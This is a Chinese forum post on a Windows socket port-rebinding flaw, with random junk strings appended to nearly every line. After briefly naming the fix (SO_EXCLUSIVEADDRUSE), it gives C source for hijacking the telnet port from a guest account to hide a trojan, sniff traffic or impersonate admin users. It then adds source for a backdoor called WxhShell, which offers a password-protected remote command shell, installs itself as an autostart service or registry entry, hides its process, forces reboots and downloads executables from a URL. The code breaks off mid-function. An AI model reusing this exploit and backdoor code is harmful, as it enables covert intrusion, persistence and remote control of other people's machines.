社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19626阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: HYJEz2RF  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); S]e;p\8$Z  
( Y Z2&  
  saddr.sin_family = AF_INET; S,Qa\\~z  
qsQTJlq)  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ][8`}ki 1  
pgv, Su  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); {?cF2K#  
x'Nc}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 RO[X #c  
0d 0ga^O  
  这意味着什么?意味着可以进行如下的攻击: k $# ,^)T  
']^]z".H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 @aB7dtM  
"{bc2# F  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !b$~Sm)  
Z#kB+.U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 G;pc,\MF  
LS-_GslE7\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  F+D e"^As  
e!k4Ij-]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 YQ1rS X3  
%r(qQM.Pl  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G]Im.x3O-  
vZqW,GDfXo  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 cwHbm%  
au+:-Khm  
  #include ]% G#x  
  #include [KW)z#`*  
  #include zCS }i_ p  
  #include    cw_B^f8^  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VEL!-e^X&  
  int main() 3r?T|>|  
  { 3n_t^=  
  WORD wVersionRequested; K'K/}q<  
  DWORD ret; LF:~& m  
  WSADATA wsaData; XHJ/211  
  BOOL val; 6jov8GIAt  
  SOCKADDR_IN saddr; +mO/9m  
  SOCKADDR_IN scaddr; M@pF[J/  
  int err; 4jVd  
  SOCKET s; 7PO]\X^(zE  
  SOCKET sc; <c,iu{:  
  int caddsize; 6>'>BamX  
  HANDLE mt; bc& 5*?  
  DWORD tid;   W:8{}Iu<  
  wVersionRequested = MAKEWORD( 2, 2 ); (r1"!~d@  
  err = WSAStartup( wVersionRequested, &wsaData ); SEM- t   
  if ( err != 0 ) { zP$"6~.  
  printf("error!WSAStartup failed!\n"); vXak5iq>X  
  return -1; {s2eOL5I|%  
  } zRR^v&.9K  
  saddr.sin_family = AF_INET; ki ?V eFp  
   !|J2o8g  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1l.HQ IS  
-(#`JT8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 0OtUb:8LX  
  saddr.sin_port = htons(23); qzu(4*Gk6  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |k: FNu]C  
  { Jg.^h1>x  
  printf("error!socket failed!\n"); [XP\WG>s  
  return -1; #A< |qd  
  } !H9zd\wc  
  val = TRUE; LZJFp@  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 <yw=+hz[u  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,GtN6?  
  { &5%~Qw..  
  printf("error!setsockopt failed!\n"); +N|t:8qaf  
  return -1; ndvt $*  
  } FaaxfcIfkw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 5E${  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %^u e  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ^>y|{;`  
a,xy3 8T<  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Ou|kb61zg  
  { 6x16?x  
  ret=GetLastError(); 3_J({  
  printf("error!bind failed!\n"); <.lt?!.ZH  
  return -1; :4Y 5  
  } R{9G$b1Due  
  listen(s,2); ^jk-GRD*  
  while(1) rFW,x_*_vP  
  { Ma ]*Pled  
  caddsize = sizeof(scaddr); FJsM3|{2=d  
  //接受连接请求 UQBc$`v  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); H 9?txNea  
  if(sc!=INVALID_SOCKET) Jg6@)<n  
  { ;"NW= P&  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i\ )$  
  if(mt==NULL) b,#?LdQ%  
  { cfc=a  
  printf("Thread Creat Failed!\n"); Ece=loV*l  
  break; hz-^9U  
  } ;F /w&u.n  
  } }l5Q0'  
  CloseHandle(mt); 87R$Y> V  
  } {w v{"*Q9Q  
  closesocket(s); i~{0>"9  
  WSACleanup(); 85:mh\@-G  
  return 0; -Y>QKS  
  }   'lgS;ItpKu  
  DWORD WINAPI ClientThread(LPVOID lpParam) VH~ZDZ1P  
  { 8HWEObRY  
  SOCKET ss = (SOCKET)lpParam; K/!>[d  
  SOCKET sc; 3AcDW6x|  
  unsigned char buf[4096]; EB p(^r j  
  SOCKADDR_IN saddr; j__l'?s  
  long num; lQVK~8t3  
  DWORD val; G;J!3A;TE  
  DWORD ret; h- %RSei5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @CA{uP;  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   /Em6+DN>  
  saddr.sin_family = AF_INET; 6D4 j];~X  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `bNLmTS  
  saddr.sin_port = htons(23); 'D^@e0.3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a.XMeB  
  { M"ZeK4qh  
  printf("error!socket failed!\n"); F^!_!V B  
  return -1; ~AcjB(  
  } _$T.N  
  val = 100; zHXb[$ Q  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) pH396GFIW  
  { 4B Jw+EV8  
  ret = GetLastError(); V"A* B  
  return -1; #ahe@|E'Y  
  } Nbt.y 'd  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) M{X; H'2  
  { 4`:Eiik&p  
  ret = GetLastError(); lh;;%@1DM  
  return -1; n7bML?f'  
  } "]yfx@)_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Ol X otp8  
  { wkD"EuW(  
  printf("error!socket connect failed!\n"); I:] Pd  
  closesocket(sc); hhJs$c(  
  closesocket(ss); BHS8MV L@  
  return -1; @KU^B_{i  
  } O?Qi  
  while(1) B1J2m^  
  { mHc5NkvQC  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 gV-A+;u  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 'c$)}R I7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Az6tu <  
  num = recv(ss,buf,4096,0); ohPDknHp  
  if(num>0) mzn#4;m$  
  send(sc,buf,num,0); W;.L N<bx  
  else if(num==0) q]gF[&QZ  
  break; er2#h  
  num = recv(sc,buf,4096,0); ifadnl26 s  
  if(num>0) Gp1?drF6  
  send(ss,buf,num,0); eMUt%zvb  
  else if(num==0) BBj>ML\X  
  break; 3Sn# M{wH  
  } Q'Y7PG9m~  
  closesocket(ss); DhiIKd9W  
  closesocket(sc);  9 -Xr  
  return 0 ; (6i. >%|_  
  } 2Gn26L 5  
@5cY5e*i{  
fh9w5hT={  
========================================================== ;sY n=r  
4R9y~~+  
下边附上一个代码,,WXhSHELL +<sv/gEt  
Vd A!tL  
========================================================== CD)JCv  
>'&|{s[m  
#include "stdafx.h" R(GL{Dh}L  
+\25ynM  
#include <stdio.h> {0\9HI@  
#include <string.h> rC6{-42bb  
#include <windows.h> GNM+sd y+  
#include <winsock2.h> US] I[Y6V  
#include <winsvc.h> yzyK$WN\[3  
#include <urlmon.h> -~^sSLrbP  
g<Y N#  
#pragma comment (lib, "Ws2_32.lib") Jmun^Q/h  
#pragma comment (lib, "urlmon.lib") MJy(B><  
1W{t?1[s  
#define MAX_USER   100 // 最大客户端连接数  1"RC!  
#define BUF_SOCK   200 // sock buffer (A~w IKY,  
#define KEY_BUFF   255 // 输入 buffer XM:\N$tg  
70N Lv  
#define REBOOT     0   // 重启 X 3(*bj>P  
#define SHUTDOWN   1   // 关机 N$P\$  
; r95i1a'  
#define DEF_PORT   5000 // 监听端口 g ?{o2gG  
:+meaxbu  
#define REG_LEN     16   // 注册表键长度 cA B<'44R  
#define SVC_LEN     80   // NT服务名长度 QJU\YH%}  
*m[[>wE  
// 从dll定义API o|y1m7X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jL:GP}I=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZO]P9b  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a}'dIDj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); d, 0Klew  
HEe_K!_  
// wxhshell配置信息 k6(0:/C  
struct WSCFG { l6pvQ|  
  int ws_port;         // 监听端口 v`r*Yok;`  
  char ws_passstr[REG_LEN]; // 口令 |L(h+/>aWX  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4 Xe8j55  
  char ws_regname[REG_LEN]; // 注册表键名 iB5'mb*  
  char ws_svcname[REG_LEN]; // 服务名 %ZGG6Xgw  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 m[Cp G=32B  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 # 2?3B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \ 9#X]H  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gh.+}8="  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .:B;%*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 NPLJ*uHH  
TECp!`)j"  
}; |eP5iy wg  
&|fWtl;43  
// default Wxhshell configuration 'oF('uR  
struct WSCFG wscfg={DEF_PORT, *)s^+F 0  
    "xuhuanlingzhe", ]+T$ D  
    1, aJ J63aJ  
    "Wxhshell", f;obK~b[  
    "Wxhshell", 4,?WNPqo  
            "WxhShell Service", O<y65#68Z  
    "Wrsky Windows CmdShell Service", SL?YU(a  
    "Please Input Your Password: ", !>)o&sM  
  1, PyM59v  
  "http://www.wrsky.com/wxhshell.exe", TPNKvv!s  
  "Wxhshell.exe" ev1:0P  
    }; rYrvd[/*&(  
%g~zE a-g  
// 消息定义模块 \/R $p  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0t6DD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Te7xj8<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; C(2kx4n  
char *msg_ws_ext="\n\rExit."; RSup_4A  
char *msg_ws_end="\n\rQuit."; }N"YlGY\Yn  
char *msg_ws_boot="\n\rReboot..."; L`"V_ "Q#0  
char *msg_ws_poff="\n\rShutdown..."; T%SK";PAU$  
char *msg_ws_down="\n\rSave to "; kQO-V4z!  
^CP>|JWD^  
char *msg_ws_err="\n\rErr!"; $Ao'mT  
char *msg_ws_ok="\n\rOK!"; *Nur>11D  
'q1cc5(ueV  
char ExeFile[MAX_PATH]; +nL#c{  
int nUser = 0; j5rMY=|F  
HANDLE handles[MAX_USER]; VUZeC,FfO  
int OsIsNt; W>&!~9H  
5jHr?C  
SERVICE_STATUS       serviceStatus; [R<>3}50Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; L$v<t/W  
OuyO_DSI  
// 函数声明 I6PReVIb  
int Install(void); qD,/Qu62  
int Uninstall(void); Dw<bLSaW&  
int DownloadFile(char *sURL, SOCKET wsh); D_ XOYzN}  
int Boot(int flag); n2Ew0-  
void HideProc(void); g1)ZjABV  
int GetOsVer(void); ~%@1-  
int Wxhshell(SOCKET wsl); FA{(gib@9  
void TalkWithClient(void *cs); 3 5/ s\  
int CmdShell(SOCKET sock); 4mnVXKt%.  
int StartFromService(void); I/go$@E"  
int StartWxhshell(LPSTR lpCmdLine); I?_WV_T&  
x;A.Ll  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "%#CMCE|f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |v_ttJ;+Y  
LR3>_t  
// 数据结构和表定义 RM>A9nv$\  
SERVICE_TABLE_ENTRY DispatchTable[] = $J#Z`%B^y  
{ ,@\z{}~v  
{wscfg.ws_svcname, NTServiceMain}, hP$5>G(3  
{NULL, NULL} 5 hW#BB  
}; b"w@am>&  
e'.CIspN  
// 自我安装 C]Q}HI#G  
int Install(void) P2)/!+`a  
{ f( <O~D  
  char svExeFile[MAX_PATH]; W#\{[o  
  HKEY key; 9V>C %I  
  strcpy(svExeFile,ExeFile); s01=C3  
Cng_*\=O  
// 如果是win9x系统,修改注册表设为自启动 FSYs1Li_C  
if(!OsIsNt) { FIx|4[&>S  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { b(t8TR#-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); H\$uRA oo*  
  RegCloseKey(key); -FW^fGS+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ~ /rKKc  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `x;m@\R  
  RegCloseKey(key); c[Z#q*Q  
  return 0; G|TnvZ KX  
    } /z:1nq  
  } o $'K}U  
} xXSfYW  
else { nX8ulGGs  
eo^C[# .  
// 如果是NT以上系统,安装为系统服务 L.8`5<ITw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uw(Ml=  
if (schSCManager!=0) Gh 352  
{ 3gtKD9RL:  
  SC_HANDLE schService = CreateService FcyF E~>2  
  ( "^wIixOH5  
  schSCManager, ;7*T6~tv  
  wscfg.ws_svcname, ??lsv(v-  
  wscfg.ws_svcdisp, t :~,7  
  SERVICE_ALL_ACCESS, l[C_vUg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8+H 0  
  SERVICE_AUTO_START, =]1cVnPI  
  SERVICE_ERROR_NORMAL, =,8nfJ+x  
  svExeFile, &joP-!"  
  NULL, k]~$AaNq  
  NULL, Hz%<V *\{  
  NULL, r 5t{I2  
  NULL, pl/ek0QX  
  NULL ]}n|5  
  ); I= a?z<  
  if (schService!=0) @mb'!r  
  { t*`Sme]"B  
  CloseServiceHandle(schService); N?O^"  
  CloseServiceHandle(schSCManager); stiYC#bI:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~i!I6d~  
  strcat(svExeFile,wscfg.ws_svcname); }$LnjwM;,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1fC)&4W  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); KyBtt47\  
  RegCloseKey(key); 8Wgzca Q*  
  return 0; /T+%q#4  
    } uvJ&qd8M  
  } dA<_`GFR  
  CloseServiceHandle(schSCManager); i*@ZIw  
} %,e,KcP'  
} _7~q|  
Ctx>#uN6  
return 1; 8,(--A  
} 9FPqd8(]*V  
N#XC%66qy!  
// 自我卸载 b1QHZY\g{  
int Uninstall(void) E<7$!P=z`  
{ 9Ais)Wy%p  
  HKEY key; 2sp4Mm  
! Y&]Y G  
if(!OsIsNt) { ct<XKqbI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m#4h5_N  
  RegDeleteValue(key,wscfg.ws_regname); 2*a9mi  
  RegCloseKey(key); ./^8L(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8dC RSU  
  RegDeleteValue(key,wscfg.ws_regname); (G(M"S SC  
  RegCloseKey(key); >XX93  
  return 0; `I(ap{  
  } { ft |*  
} | GN/{KH]  
} 'p@m`)Z  
else { fIJX5)D  
i:jns>E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'H#0-V"=  
if (schSCManager!=0) xxwbX6^d  
{ mq(-L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); c6AwO?x/  
  if (schService!=0) &3 Ki  
  { <{@D^L6h  
  if(DeleteService(schService)!=0) { \U##b~Z,g  
  CloseServiceHandle(schService); Y#6LNI   
  CloseServiceHandle(schSCManager); {?"X\5n0  
  return 0; XVb9)a  
  } L-9;"]d~|  
  CloseServiceHandle(schService); +ej5C:El_}  
  } T Qx<lw  
  CloseServiceHandle(schSCManager); ?@kz`BY  
} I!SIy&=W  
} wQ[!~>A  
y]+[o1]-c  
return 1; {fjBa,o #  
} | g1Cs  
KZa6*,, s  
// 从指定url下载文件 (!qfd Qq#  
int DownloadFile(char *sURL, SOCKET wsh) C6h[L  
{ :qzh kKu  
  HRESULT hr; mn*}U R  
char seps[]= "/"; PZO.$'L|7  
char *token; %oWG"u  
char *file; y&bZai8WlE  
char myURL[MAX_PATH]; )>"pm {g2  
char myFILE[MAX_PATH]; _~*j=XRs  
v#`>  
strcpy(myURL,sURL); TK%q}bK,  
  token=strtok(myURL,seps); }EP}D?Mmu  
  while(token!=NULL) b80&${v  
  { |o*qZ}6  
    file=token; .v+ W>  
  token=strtok(NULL,seps); dBS_N/  
  } ~*]7f%L-  
_+H $Pa}?  
GetCurrentDirectory(MAX_PATH,myFILE); YB!f=_8  
strcat(myFILE, "\\"); W\ mgM2p  
strcat(myFILE, file); 0)7v _|z  
  send(wsh,myFILE,strlen(myFILE),0); +5 gX6V\  
send(wsh,"...",3,0); fEiNHVx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ] w0Y5H "  
  if(hr==S_OK) {47Uu%XT  
return 0; +$#XV@@~  
else mAET`B "  
return 1; gm =C0Sp?  
_8-T?j**   
} /3 VO!V]u  
f`_{SU"3  
// 系统电源模块 f9 :=6  
int Boot(int flag) w'XSkI_ay  
{ {d]B+'  
  HANDLE hToken; :>Qu;Z1P  
  TOKEN_PRIVILEGES tkp; dLeos9M:  
c5:0`~5Fn  
  if(OsIsNt) { 5rc3jIXc{|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); o iC@ /  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); UEt78eN  
    tkp.PrivilegeCount = 1; -#R`n'/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; t0kZFU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fy!s$!\C0  
if(flag==REBOOT) { 9_.pLLx  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @F*z/E}e  
  return 0; 3orL;(.G  
} U2tgBF?)A  
else { r`.Bj0  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) j]` hy"  
  return 0; ~D`R"vzw=  
} '.8eLN  
  } #W l^!)#j?  
  else { ?^MH:o  
if(flag==REBOOT) { ]YfG`0eK<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M?Q\ Hw  
  return 0; ZX.,<vumSy  
} g& f)WQ(  
else { -3wid1SOm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7GG`9!l]D  
  return 0; UH;bg}=8  
} a`]ZyG*P  
} -[pfLo  
^eefR5^_w  
return 1; p! )tA  
} vb]uO ' l  
W(?J,8>  
// win9x进程隐藏模块 2"j&_$#l5X  
void HideProc(void) .6y*Z+Zg  
{ lbw+!{Ch  
&5sPw^{,H  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); dM19;R@4  
  if ( hKernel != NULL ) $}5M`p\&C  
  { Z=;=9<vA  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); n "^rS}Y]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); {f*{dSm9b  
    FreeLibrary(hKernel); |2 =w":2#  
  } w@O)b-b|w  
;`kOFg#`)c  
return; S4_ZG>\VT  
} + 65<|0  
zV;NRf) 9.  
// 获取操作系统版本 nD)SR  
int GetOsVer(void) Y5B! *+h  
{ k6Vs#K7a  
  OSVERSIONINFO winfo; 8wZ $Hq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w^n&S=E E~  
  GetVersionEx(&winfo); =knLkbiq7,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YcR: _ac  
  return 1; /R?*i@rvf  
  else G&MO(r}B  
  return 0; Z![#Uz.z  
} aHI~@  
]W%rhppC  
// 客户端句柄模块 qoZAZ&|HI  
int Wxhshell(SOCKET wsl) u`oJ3mS;  
{ <Hz11 }<(  
  SOCKET wsh; uC#] F@  
  struct sockaddr_in client; p)"EenUK  
  DWORD myID; u:J4Az^!  
6W7,EIf  
  while(nUser<MAX_USER) :0Y.${h  
{ d(9SkXr  
  int nSize=sizeof(client); +9' )G-`qj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); pCa~:q*85  
  if(wsh==INVALID_SOCKET) return 1; rq1~%S  
EG8z&^O x  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); &9.3-E47*  
if(handles[nUser]==0) 5GPAt  
  closesocket(wsh); Vhb~kI!x  
else b}u#MU  
  nUser++; [xDIK8d:I  
  } 3+:NX6Ewb*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~)X;z"y%b  
|8x_Av0  
  return 0; `ZP[-:`  
} t*6C?zEAU  
f^5sJ 0;%  
// 关闭 socket Y2 N$&]O{  
void CloseIt(SOCKET wsh) 9c1q:>|  
{ #-R]HLW*  
closesocket(wsh); qEdY]t   
nUser--; h\Zh^B6J  
ExitThread(0); NA/Sv"7om  
} 3=UufI  
iU~d2R+  
// 客户端请求句柄 <8Z%'C6d  
void TalkWithClient(void *cs) R_Bf JD.  
{ =FFs8&PKys  
o$*DFvk  
  SOCKET wsh=(SOCKET)cs; CPP9=CoR37  
  char pwd[SVC_LEN]; SL^%Zh/~  
  char cmd[KEY_BUFF]; ,p\*cHB9  
char chr[1]; ,pkzNe`F  
int i,j; \S~<C[P  
 TLVfu4  
  while (nUser < MAX_USER) { xcJvXp  
f)Z'#[A*t7  
if(wscfg.ws_passstr) { X\<a|/{V A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  Y!|};  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (.{."  
  //ZeroMemory(pwd,KEY_BUFF); m5KLi &R  
      i=0; =umF C[. W  
  while(i<SVC_LEN) { lb"T'} q  
S%7 bM~J@  
  // 设置超时 [!ZYtp?Hf  
  fd_set FdRead; L9whgXD  
  struct timeval TimeOut; ~IQjQz?  
  FD_ZERO(&FdRead); k<"N^+GSz  
  FD_SET(wsh,&FdRead); =aehhs>  
  TimeOut.tv_sec=8; A7|x|mW  
  TimeOut.tv_usec=0; kll ,^A  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Ox'K C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !yV)EJ:$  
15DlD`QV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {>brue*)  
  pwd=chr[0]; dQ<e}wtg  
  if(chr[0]==0xd || chr[0]==0xa) { x}reeqn  
  pwd=0; Ja@ ?.gW  
  break; C|QJQ@bj0  
  } :+ "JPF4X  
  i++; kYd=DY  
    } rj5)b:c}  
h 'is#X 6:  
  // 如果是非法用户,关闭 socket ^AUQsRA7PZ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #`"B YFV[E  
} ;:Kc{B.s  
q93V'[)F  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); i{J[;rV9  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >>=v`}  
z_z '3d.r7  
while(1) { a1weTn*  
Yc(lY N  
  ZeroMemory(cmd,KEY_BUFF); _ `7[}M~  
Pp|pH|(n ,  
      // 自动支持客户端 telnet标准   fK=vLcH  
  j=0; wp-3U}P2(  
  while(j<KEY_BUFF) { 23q2u6.F`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `7',RUj|D  
  cmd[j]=chr[0]; _'s5FlZq  
  if(chr[0]==0xa || chr[0]==0xd) { \z2d=E  
  cmd[j]=0; dBW#PRg  
  break; <5sfII  
  } } x'o`GuUf  
  j++;  +!wkTrV  
    }  uQW d1>  
Z,b^f Vw  
  // 下载文件 a &R,jq  
  if(strstr(cmd,"http://")) { #8bI4J{dE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); GuJIN"P]  
  if(DownloadFile(cmd,wsh)) .q$/#hN:e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]6HnK%  
  else Q $>SYvW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,k/<Nv;  
  } K%vGfQ8Er-  
  else { UAdj [m61  
/B  
    switch(cmd[0]) { jbTyM"Y  
  h^b=  
  // 帮助 ]g9n#$|.  
  case '?': { =iPQ\_ON@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u\UI6/  
    break; jTY{MY Jh  
  } QOF'SEq"k  
  // 安装 E __A1j*gd  
  case 'i': { N{zou?+  
    if(Install()) E`uK7 2j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /s`xPxvt  
    else 3-2?mV>5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C6b(\#g(  
    break; B&H [z  
    } TC'^O0aZ_  
  // 卸载 N;e*eMFE  
  case 'r': { RjX#pb  
    if(Uninstall()) H*>5ne=x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); . J*2J(T,  
    else N" oJ3-~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %] 7.E  
    break; ^KFwO=I@PV  
    } HC ?XNR&  
  // 显示 wxhshell 所在路径 V{kgDpB  
  case 'p': { cK+)MFOu+  
    char svExeFile[MAX_PATH]; CB?H`R pC.  
    strcpy(svExeFile,"\n\r"); (fWQ?6[  
      strcat(svExeFile,ExeFile); g/soop\:  
        send(wsh,svExeFile,strlen(svExeFile),0); px_%5^zRQ  
    break; BRMR> ~k(  
    } C/pu]%n@4  
  // 重启 ^kpu9H  
  case 'b': { &]/.=J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <3Hu(Jx<O  
    if(Boot(REBOOT)) iD9hqiX&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MMUw+jM4  
    else { ::kpAE]  
